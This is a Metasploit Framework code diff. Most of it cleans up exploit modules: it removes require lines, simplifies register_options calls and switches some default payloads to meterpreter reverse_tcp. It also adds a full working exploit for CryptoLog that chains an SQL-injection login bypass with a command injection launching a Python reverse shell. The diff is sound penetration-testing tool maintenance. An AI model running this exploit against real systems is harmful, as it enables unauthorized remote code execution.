a/modules/exploits/android/fileformat/adobe_reader_pdf_js_interface.rb b/modules/exploits/android/fileformat/adobe_reader_pdf_js_interface.rb index 3440245813..4be60ba2ac 100644 --- a/modules/exploits/android/fileformat/adobe_reader_pdf_js_interface.rb +++ b/modules/exploits/android/fileformat/adobe_reader_pdf_js_interface.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/fileformat' require 'msf/core/exploit/pdf' require 'msf/core/exploit/android' @@ -62,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/android/local/futex_requeue.rb b/modules/exploits/android/local/futex_requeue.rb index feea58dc59..7e3eabad70 100644 --- a/modules/exploits/android/local/futex_requeue.rb +++ b/modules/exploits/android/local/futex_requeue.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking @@ -39,7 +36,7 @@ class MetasploitModule < Msf::Exploit::Local 'DefaultOptions' => { 'WfsDelay' => 300, - 'PAYLOAD' => 'linux/armle/mettle/reverse_tcp', + 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp', }, 'DefaultTarget' => 0, 'Targets' => [ diff --git a/modules/exploits/android/local/put_user_vroot.rb b/modules/exploits/android/local/put_user_vroot.rb index 6dfca95677..bdd8deb2bc 100644 --- a/modules/exploits/android/local/put_user_vroot.rb +++ b/modules/exploits/android/local/put_user_vroot.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking @@ -44,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Local 'DefaultOptions' => { 'WfsDelay' => 120, - 'PAYLOAD' => 'linux/armle/mettle/reverse_tcp', + 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp', }, 'DefaultTarget' => 0, } diff --git a/modules/exploits/apple_ios/browser/safari_libtiff.rb b/modules/exploits/apple_ios/browser/safari_libtiff.rb index 79316f8a10..f0060e7ab6 100644 --- a/modules/exploits/apple_ios/browser/safari_libtiff.rb +++ b/modules/exploits/apple_ios/browser/safari_libtiff.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git a/modules/exploits/apple_ios/email/mobilemail_libtiff.rb b/modules/exploits/apple_ios/email/mobilemail_libtiff.rb index 25d7a2c2e1..3861999a27 100644 --- a/modules/exploits/apple_ios/email/mobilemail_libtiff.rb +++ b/modules/exploits/apple_ios/email/mobilemail_libtiff.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git a/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb b/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb index 97841fc0b7..1518f840f8 100644 --- a/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb +++ b/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'net/ssh' class MetasploitModule < Msf::Exploit::Remote diff --git a/modules/exploits/bsdi/softcart/mercantec_softcart.rb b/modules/exploits/bsdi/softcart/mercantec_softcart.rb index a7c3cca617..12f34d9552 100644 --- a/modules/exploits/bsdi/softcart/mercantec_softcart.rb +++ b/modules/exploits/bsdi/softcart/mercantec_softcart.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -61,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URI', [ false, "The target CGI URI", '/cgi-bin/SoftCart.exe' ]) - ], self.class) + ]) end def brute_exploit(address) diff --git a/modules/exploits/dialup/multi/login/manyargs.rb b/modules/exploits/dialup/multi/login/manyargs.rb index 7cef87bd46..2715190bad 100644 --- a/modules/exploits/dialup/multi/login/manyargs.rb +++ b/modules/exploits/dialup/multi/login/manyargs.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -63,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ # OptString.new('USER', [true, 'User to log in as', 'bin']), - ], self.class) + ]) end def buildbuf diff --git a/modules/exploits/firefox/local/exec_shellcode.rb b/modules/exploits/firefox/local/exec_shellcode.rb index 1a11d1e554..4b399fca7e 100644 --- a/modules/exploits/firefox/local/exec_shellcode.rb +++ b/modules/exploits/firefox/local/exec_shellcode.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/firefox' class MetasploitModule < Msf::Exploit::Local @@ -38,7 +37,7 @@ class MetasploitModule < Msf::Exploit::Local register_options([ OptInt.new('TIMEOUT', [true, "Maximum time (seconds) to wait for a response", 90]) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb b/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb index 9e103542ab..becc932481 100644 --- a/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb +++ b/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -85,7 +83,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(21), - ], self.class ) + ]) end diff --git a/modules/exploits/freebsd/http/watchguard_cmd_exec.rb b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb index 628e171d4e..bff243231d 100644 --- a/modules/exploits/freebsd/http/watchguard_cmd_exec.rb +++ b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/freebsd/local/mmap.rb b/modules/exploits/freebsd/local/mmap.rb index 8756789024..37f3d708b3 100644 --- a/modules/exploits/freebsd/local/mmap.rb +++ b/modules/exploits/freebsd/local/mmap.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Local register_options([ # It isn't OptPath becuase it's a *remote* path OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]), - ], self.class) + ]) end diff --git a/modules/exploits/freebsd/local/watchguard_fix_corrupt_mail.rb b/modules/exploits/freebsd/local/watchguard_fix_corrupt_mail.rb index 016850d86b..a91e871a56 100644 --- a/modules/exploits/freebsd/local/watchguard_fix_corrupt_mail.rb +++ b/modules/exploits/freebsd/local/watchguard_fix_corrupt_mail.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Local # It needs 3 minutes wait time # WfsDelay set to 180, so it should be a Manual exploit, diff --git a/modules/exploits/freebsd/misc/citrix_netscaler_soap_bof.rb b/modules/exploits/freebsd/misc/citrix_netscaler_soap_bof.rb index 77e8021592..64dd0fff70 100644 --- a/modules/exploits/freebsd/misc/citrix_netscaler_soap_bof.rb +++ b/modules/exploits/freebsd/misc/citrix_netscaler_soap_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -70,7 +68,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TARGETURI', [true, 'The base path to the soap handler', '/soap']), OptAddress.new('SRVHOST', [true, "The local host to listen on. This must be an address on the local machine reachable by the target", ]), OptPort.new('SRVPORT', [true, "The local port to listen on.", 3010]) - ], self.class) + ]) end diff --git a/modules/exploits/freebsd/samba/trans2open.rb b/modules/exploits/freebsd/samba/trans2open.rb index b954027c17..a24a21b1f3 100644 --- a/modules/exploits/freebsd/samba/trans2open.rb +++ b/modules/exploits/freebsd/samba/trans2open.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -62,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(139) - ], self.class) + ]) end def brute_exploit(addrs) diff --git a/modules/exploits/freebsd/tacacs/xtacacsd_report.rb b/modules/exploits/freebsd/tacacs/xtacacsd_report.rb index d58dd31fc0..5da0687e6f 100644 --- a/modules/exploits/freebsd/tacacs/xtacacsd_report.rb +++ b/modules/exploits/freebsd/tacacs/xtacacsd_report.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -52,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 8 2008')) - register_options([Opt::RPORT(49)], self.class) + register_options([Opt::RPORT(49)]) end def brute_exploit(address) diff --git a/modules/exploits/freebsd/telnet/telnet_encrypt_keyid.rb b/modules/exploits/freebsd/telnet/telnet_encrypt_keyid.rb index 3b5e5ebea2..56b75d6b68 100644 --- a/modules/exploits/freebsd/telnet/telnet_encrypt_keyid.rb +++ b/modules/exploits/freebsd/telnet/telnet_encrypt_keyid.rb @@ -6,8 +6,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/hpux/lpd/cleanup_exec.rb b/modules/exploits/hpux/lpd/cleanup_exec.rb index c4bbe2df1b..7758308803 100644 --- a/modules/exploits/hpux/lpd/cleanup_exec.rb +++ b/modules/exploits/hpux/lpd/cleanup_exec.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -57,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(515) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/irix/lpd/tagprinter_exec.rb b/modules/exploits/irix/lpd/tagprinter_exec.rb index e07c08159b..e3ff4a8515 100644 --- a/modules/exploits/irix/lpd/tagprinter_exec.rb +++ b/modules/exploits/irix/lpd/tagprinter_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -47,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(515) - ], self.class) + ]) end def check diff --git a/modules/exploits/linux/antivirus/escan_password_exec.rb b/modules/exploits/linux/antivirus/escan_password_exec.rb index 89a500c3ea..8ad8b40e20 100644 --- a/modules/exploits/linux/antivirus/escan_password_exec.rb +++ b/modules/exploits/linux/antivirus/escan_password_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -58,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]), OptString.new('WRITABLEDIR', [ true, 'A directory where we can write files', '/tmp' ]), OptString.new('RUNASROOT', [ true, 'Path to the runasroot binary', '/opt/MicroWorld/sbin/runasroot' ]), - ], self.class) + ]) end diff --git a/modules/exploits/linux/browser/adobe_flashplayer_aslaunch.rb b/modules/exploits/linux/browser/adobe_flashplayer_aslaunch.rb index a783d4ed8f..3362d88bcc 100644 --- a/modules/exploits/linux/browser/adobe_flashplayer_aslaunch.rb +++ b/modules/exploits/linux/browser/adobe_flashplayer_aslaunch.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git a/modules/exploits/linux/ftp/proftp_sreplace.rb b/modules/exploits/linux/ftp/proftp_sreplace.rb index 5f48bd4176..6a615feacc 100644 --- a/modules/exploits/linux/ftp/proftp_sreplace.rb +++ b/modules/exploits/linux/ftp/proftp_sreplace.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -110,7 +108,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('WRITABLE', [ true, 'A writable directory on the target host', '/incoming' ]) - ], self.class ) + ]) end diff --git a/modules/exploits/linux/ftp/proftp_telnet_iac.rb b/modules/exploits/linux/ftp/proftp_telnet_iac.rb index fb7f6cf438..9e99fa1409 100644 --- a/modules/exploits/linux/ftp/proftp_telnet_iac.rb +++ b/modules/exploits/linux/ftp/proftp_telnet_iac.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -264,7 +262,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(21), - ], self.class ) + ]) end diff --git a/modules/exploits/linux/games/ut2004_secure.rb b/modules/exploits/linux/games/ut2004_secure.rb index caa3c9a700..174e8527ff 100644 --- a/modules/exploits/linux/games/ut2004_secure.rb +++ b/modules/exploits/linux/games/ut2004_secure.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(7787) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/linux/http/accellion_fta_getstatus_oauth.rb b/modules/exploits/linux/http/accellion_fta_getstatus_oauth.rb index 45587d7b30..5d8080941c 100644 --- a/modules/exploits/linux/http/accellion_fta_getstatus_oauth.rb +++ b/modules/exploits/linux/http/accellion_fta_getstatus_oauth.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Use SSL', true]) - ], self.class) + ]) end def check diff --git a/modules/exploits/linux/http/advantech_switch_bash_env_exec.rb b/modules/exploits/linux/http/advantech_switch_bash_env_exec.rb index 609ad4d5e2..2f44d92d92 100644 --- a/modules/exploits/linux/http/advantech_switch_bash_env_exec.rb +++ b/modules/exploits/linux/http/advantech_switch_bash_env_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient @@ -49,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote )) register_options([ Opt::RPORT(80) - ], self.class) + ]) end # diff --git a/modules/exploits/linux/http/airties_login_cgi_bof.rb b/modules/exploits/linux/http/airties_login_cgi_bof.rb index d8f1c3b530..5afdf05534 100644 --- a/modules/exploits/linux/http/airties_login_cgi_bof.rb +++ b/modules/exploits/linux/http/airties_login_cgi_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/linux/http/alcatel_omnipcx_mastercgi_exec.rb b/modules/exploits/linux/http/alcatel_omnipcx_mastercgi_exec.rb index 19557b6ae7..159f997464 100644 --- a/modules/exploits/linux/http/alcatel_omnipcx_mastercgi_exec.rb +++ b/modules/exploits/linux/http/alcatel_omnipcx_mastercgi_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking # Only interactive single commands supported @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Use SSL', true]), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/linux/http/alienvault_exec.rb b/modules/exploits/linux/http/alienvault_exec.rb index 2b6d83abea..ae4b6ad4a9 100644 --- a/modules/exploits/linux/http/alienvault_exec.rb +++ b/modules/exploits/linux/http/alienvault_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -60,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(443), OptString.new('TARGETURI', [true, 'The URI of the vulnerable Alienvault OSSIM instance', '/']) - ], self.class) + ]) end diff --git a/modules/exploits/linux/http/alienvault_sqli_exec.rb b/modules/exploits/linux/http/alienvault_sqli_exec.rb index caafb37989..bf901cd253 100644 --- a/modules/exploits/linux/http/alienvault_sqli_exec.rb +++ b/modules/exploits/linux/http/alienvault_sqli_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(443), OptString.new('TARGETURI', [true, 'The URI of the vulnerable Alienvault OSSIM instance', '/']) - ], self.class) + ]) end diff --git a/modules/exploits/linux/http/astium_sqli_upload.rb b/modules/exploits/linux/http/astium_sqli_upload.rb index 5199a63285..e1f32bea2a 100644 --- a/modules/exploits/linux/http/astium_sqli_upload.rb +++ b/modules/exploits/linux/http/astium_sqli_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking # Configuration is overwritten and service reloaded @@ -45,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The base path to the Astium installation', '/']), - ], self.class) + ]) end def uri diff --git a/modules/exploits/linux/http/atutor_filemanager_traversal.rb b/modules/exploits/linux/http/atutor_filemanager_traversal.rb index ef74506ef1..45c2595bd6 100644 --- a/modules/exploits/linux/http/atutor_filemanager_traversal.rb +++ b/modules/exploits/linux/http/atutor_filemanager_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -58,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']), OptString.new('USERNAME', [false, 'The username to authenticate as']), OptString.new('PASSWORD', [false, 'The password to authenticate with']) - ],self.class) + ]) end def print_status(msg='') diff --git a/modules/exploits/linux/http/belkin_login_bof.rb b/modules/exploits/linux/http/belkin_login_bof.rb index d530c09c05..accfbaa5a6 100644 --- a/modules/exploits/linux/http/belkin_login_bof.rb +++ b/modules/exploits/linux/http/belkin_login_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/linux/http/centreon_sqli_exec.rb b/modules/exploits/linux/http/centreon_sqli_exec.rb index e6c17a5254..7c6c4e8779 100644 --- a/modules/exploits/linux/http/centreon_sqli_exec.rb +++ b/modules/exploits/linux/http/centreon_sqli_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -59,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The URI of the Centreon Application', '/centreon']) - ], self.class) + ]) end def check diff --git a/modules/exploits/linux/http/centreon_useralias_exec.rb b/modules/exploits/linux/http/centreon_useralias_exec.rb index eaf3624456..4047edc324 100644 --- a/modules/exploits/linux/http/centreon_useralias_exec.rb +++ b/modules/exploits/linux/http/centreon_useralias_exec.rb @@ -3,8 +3,6 @@ ## Current source: https://github.com/rapid7/metasploit-framework ### -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/cfme_manageiq_evm_upload_exec.rb b/modules/exploits/linux/http/cfme_manageiq_evm_upload_exec.rb index c85b413b17..23ed64bc3b 100644 --- a/modules/exploits/linux/http/cfme_manageiq_evm_upload_exec.rb +++ b/modules/exploits/linux/http/cfme_manageiq_evm_upload_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -61,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote register_advanced_options( [ OptBool.new('ROUTES', [true, 'Upload a routing file. Warning: It is not necessary by default and can damage the target application', false]), - ], self.class) + ]) end def check diff --git a/modules/exploits/linux/http/cisco_firepower_useradd.rb b/modules/exploits/linux/http/cisco_firepower_useradd.rb index b715a542e7..3dcc67dcd7 100644 --- a/modules/exploits/linux/http/cisco_firepower_useradd.rb +++ b/modules/exploits/linux/http/cisco_firepower_useradd.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -58,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('NEWSSHPASS', [false, 'New backdoor password (Default: Random)']), OptString.new('TARGETURI', [true, 'The base path to Cisco Firepower Management console', '/']), OptInt.new('SSHPORT', [true, 'Cisco Firepower Management console\'s SSH port', 22]) - ], self.class) + ]) end def check diff --git a/modules/exploits/linux/http/crypttech_cryptolog_login_exec.rb b/modules/exploits/linux/http/crypttech_cryptolog_login_exec.rb new file mode 100644 index 0000000000..f94e580ba9 --- /dev/null +++ b/modules/exploits/linux/http/crypttech_cryptolog_login_exec.rb @@ -0,0 +1,112 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "Crypttech CryptoLog Remote Code Execution", + 'Description' => %q{ + This module exploits the sql injection and command injection vulnerability of CryptoLog. An un-authenticated user can execute a + terminal command under the context of the web user. + + login.php endpoint is responsible for login process. One of the user supplied parameter is used by the application without input validation + and parameter binding. Which cause a sql injection vulnerability. Successfully exploitation of this vulnerability gives us the valid session. + + logshares_ajax.php endpoint is responsible for executing an operation system command. It's not possible to access this endpoint without having + a valid session. One user parameter is used by the application while executing operating system command which cause a command injection issue. + + Combining these vulnerabilities gives us opportunity execute operation system command under the context of the web user. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Mehmet Ince ' # author & msf module + ], + 'References' => + [ + ['URL', 'https://pentest.blog/advisory-cryptolog-unauthenticated-remote-code-execution/'] + ], + 'DefaultOptions' => + { + 'Payload' => 'python/meterpreter/reverse_tcp' + }, + 'Platform' => ['python'], + 'Arch' => ARCH_PYTHON, + 'Targets' => [[ 'Automatic', { }]], + 'Privileged' => false, + 'DisclosureDate' => "May 3 2017", + 'DefaultTarget' => 0 + )) + + register_options( + [ + Opt::RPORT(80), + OptString.new('TARGETURI', [true, 'The URI of the vulnerable CryptoLog instance', '/']) + ] + ) + end + + def bypass_login + r = rand_text_alpha(15) + i = rand_text_numeric(5) + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'cryptolog', 'login.php'), + 'vars_get' => { + 'act' => 'login' + }, + 'vars_post' => { + 'user' => "' OR #{i}=#{i}#", + 'pass' => "#{r}" + } + }) + + if res && res.code == 302 && res.headers.include?('Set-Cookie') + res.get_cookies + else + nil + end + end + + def check + if bypass_login.nil? + Exploit::CheckCode::Safe + else + Exploit::CheckCode::Appears + end + end + + def exploit + print_status("Bypassing login by exploiting SQLi flaw") + + cookie = bypass_login + + if cookie.nil? + fail_with(Failure::Unknown, "Something went wrong.") + end + + print_good("Successfully logged in") + + print_status("Exploiting command injection flaw") + r = rand_text_alpha(15) + + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'cryptolog', 'logshares_ajax.php'), + 'cookie' => cookie, + 'vars_post' => { + 'opt' => "check", + 'lsid' => "$(python -c \"#{payload.encoded}\")", + 'lssharetype' => "#{r}" + } + }) + + end +end diff --git a/modules/exploits/linux/http/ddwrt_cgibin_exec.rb b/modules/exploits/linux/http/ddwrt_cgibin_exec.rb index 36fdc4841d..ddb37d3a72 100644 --- a/modules/exploits/linux/http/ddwrt_cgibin_exec.rb +++ b/modules/exploits/linux/http/ddwrt_cgibin_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb b/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb index 7b1cbbb6d3..8f1f3b9583 100644 --- a/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb +++ b/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb b/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb index 9e52b2400d..61535552ac 100644 --- a/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -58,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]), OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25]), OptInt.new('SessionTimeout', [ true, 'The number of seconds to wait before building the session on the telnet connection', 10]) - ], self.class) + ]) end diff --git a/modules/exploits/linux/http/dlink_dcs931l_upload.rb b/modules/exploits/linux/http/dlink_dcs931l_upload.rb index ac4482c5b0..4ad1125ffd 100644 --- a/modules/exploits/linux/http/dlink_dcs931l_upload.rb +++ b/modules/exploits/linux/http/dlink_dcs931l_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -62,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('HttpUsername', [true, 'Camera username', 'admin']), OptString.new('HttpPassword', [false, 'Camera password (default: blank)', '']) - ], self.class) + ]) end def check diff --git a/modules/exploits/linux/http/dlink_dcs_930l_authenticated_remote_command_execution.rb b/modules/exploits/linux/http/dlink_dcs_930l_authenticated_remote_command_execution.rb index 39c8ce64d8..df9823c231 100644 --- a/modules/exploits/linux/http/dlink_dcs_930l_authenticated_remote_command_execution.rb +++ b/modules/exploits/linux/http/dlink_dcs_930l_authenticated_remote_command_execution.rb @@ -3,8 +3,6 @@ ## Current source: https://github.com/rapid7/metasploit-framework ### -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -49,13 +47,13 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('HttpUsername', [ true, 'User to login with', 'admin']), OptString.new('HttpPassword', [ false, 'Password to login with', '']) - ], self.class) + ]) register_advanced_options( [ OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet Command', 10]), OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25]) - ], self.class) + ]) end def telnet_timeout diff --git a/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb b/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb index 7f4eedea14..a117ca7577 100644 --- a/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -73,7 +71,7 @@ class MetasploitModule < Msf::Exploit::Remote OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]), OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]) - ], self.class) + ]) end diff --git a/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb index 603be9dcc2..e8780131a5 100644 --- a/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb +++ b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = 